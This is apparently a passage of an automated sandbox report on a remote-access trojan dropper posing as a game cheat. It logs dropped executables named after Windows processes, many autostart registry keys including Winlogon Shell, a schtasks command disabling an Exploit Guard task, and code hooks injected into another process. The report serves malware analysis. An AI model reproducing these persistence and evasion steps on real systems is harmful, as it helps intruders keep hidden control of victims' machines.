Source: C:\blockweb\portrefNet.exe File created: C:\Program Files\7-Zip\Lang\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\ProgramData\Package Cache\{D5D19E2F-7189-42FE-8103-92CD1FA457C2}v14.36.32532\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe File created: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe File created: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe File created: C:\blockweb\portrefNet.exe Jump to dropped file
Source: C:\Users\user\Desktop\FixTsDfhiC.exe File created: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\blockweb\WmiPrvSE.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\INF\.NET Data Provider for Oracle\SgrmBroker.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Users\user\Videos\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Users\user\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\blockweb\portrefNet.exe File created: C:\ProgramData\Package Cache\{D5D19E2F-7189-42FE-8103-92CD1FA457C2}v14.36.32532\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Drops PE files to the user directory
Source: C:\blockweb\portrefNet.exe File created: C:\Users\Default\ApplicationFrameHost.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Users\user\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\Performance\WinSAT\DataStore\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\AppReadiness\dwm.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\Setup\State\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\INF\.NET Data Provider for Oracle\SgrmBroker.exe Jump to dropped file

Boot Survival
barindex
Creates an autostart registry key pointing to binary in C:\Windows
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dwm
Creates an undocumented autostart registry key
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\blockweb\portrefNet.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Creates multiple autostart registry keys
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SgrmBroker
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dwm
Drops PE files to the user root directory
Source: C:\blockweb\portrefNet.exe File created: C:\Users\Default\ApplicationFrameHost.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Users\user\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dwm
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dwm
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dwm
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dwm
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SgrmBroker
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SgrmBroker
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL
Source: C:\blockweb\portrefNet.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ukzoUeHPfeDwGdTDRNL

Hooking and other Techniques for Hiding and Protection
barindex
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 1C60005 value: E9 2B BA 26 75 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 76ECBA30 value: E9 DA 45 D9 8A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 1DC0008 value: E9 8B 8E 15 75 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 76F18E90 value: E9 80 71 EA 8A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 2020005 value: E9 8B 4D BD 73 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 75BF4D90 value: E9 7A B2 42 8C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 2040005 value: E9 EB EB BC 73 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 75C0EBF0 value: E9 1A 14 43 8C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 2050005 value: E9 8B 8A F8 72 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 74FD8A90 value: E9 7A 75 07 8D Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 2060005 value: E9 2B 02 FA 72 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 75000230 value: E9 DA FD 05 8D Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 2070005 value: E9 8B 2F E9 74 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 76F02F90 value: E9 7A D0 16 8B Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 2080007 value: E9 EB DF EB 74 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Memory written: PID: 7344 base: 76F3DFF0 value: E9 1E 20 14 8B Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 1970005 value: E9 2B BA 55 75 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 76ECBA30 value: E9 DA 45 AA 8A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 1980008 value: E9 8B 8E 59 75 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 76F18E90 value: E9 80 71 A6 8A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 1A90005 value: E9 8B 4D 16 74 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 75BF4D90 value: E9 7A B2 E9 8B Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 3680005 value: E9 EB EB 58 72 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 75C0EBF0 value: E9 1A 14 A7 8D Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 3690005 value: E9 8B 8A 94 71 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 74FD8A90 value: E9 7A 75 6B 8E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 36A0005 value: E9 2B 02 96 71 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 75000230 value: E9 DA FD 69 8E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 36B0005 value: E9 8B 2F 85 73 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 76F02F90 value: E9 7A D0 7A 8C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 36C0007 value: E9 EB DF 87 73 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Memory written: PID: 7972 base: 76F3DFF0 value: E9 1E 20 78 8C Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
